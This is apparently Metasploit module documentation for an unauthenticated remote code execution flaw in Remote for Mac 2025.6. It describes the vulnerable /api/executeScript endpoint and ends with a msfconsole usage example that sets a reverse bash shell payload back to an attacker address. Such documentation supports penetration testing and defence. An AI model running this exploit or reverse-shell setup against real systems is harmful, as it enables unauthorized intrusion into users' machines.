# Module Documentation: Remote for Mac 2025.6 - Unauthenticated RCE

## Overview

This module exploits an unauthenticated remote code execution (RCE) vulnerability in **Remote for Mac 2025.6**. When the **"Allow unknown devices"** setting is enabled (disabled by default), the `/api/executeScript` endpoint allows unauthenticated attackers to execute arbitrary AppleScript commands, including shell commands, on the target macOS system.

**Exploit Author:** [Chokri Hammedi](https://packetstormsecurity.com/files/195347/)

**Module Path:** `modules/exploits/osx/http/remote_for_mac_rce.rb`

## Vulnerable Application

- **Vendor:** Evgeny Cherpak
- **Homepage:** [https://cherpake.com/](https://cherpake.com/)
- **Download:** [https://cherpake.com/latest.php?os=mac](https://cherpake.com/latest.php?os=mac)
- **Affected Version:** Remote for Mac 2025.6
- **Tested on:** macOS Mojave 10.14.6

## Vulnerability Details

- **Endpoint:** `/api/executeScript`
- **Vulnerability:** Missing authentication
- **Trigger Condition:** The app must have **"Allow unknown devices"** enabled.
- **Impact:** Full command execution as the logged-in user.

The exploit sends a specially crafted GET request with AppleScript payload headers to the unauthenticated endpoint. The server executes the `do shell script` AppleScript, leading to remote command execution.

## Usage Example

From within `msfconsole`:

```bash
use exploit/osx/http/remote_for_mac_rce
set RHOSTS 192.168.1.100
set RPORT 443
set SSL true
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.1.50
run

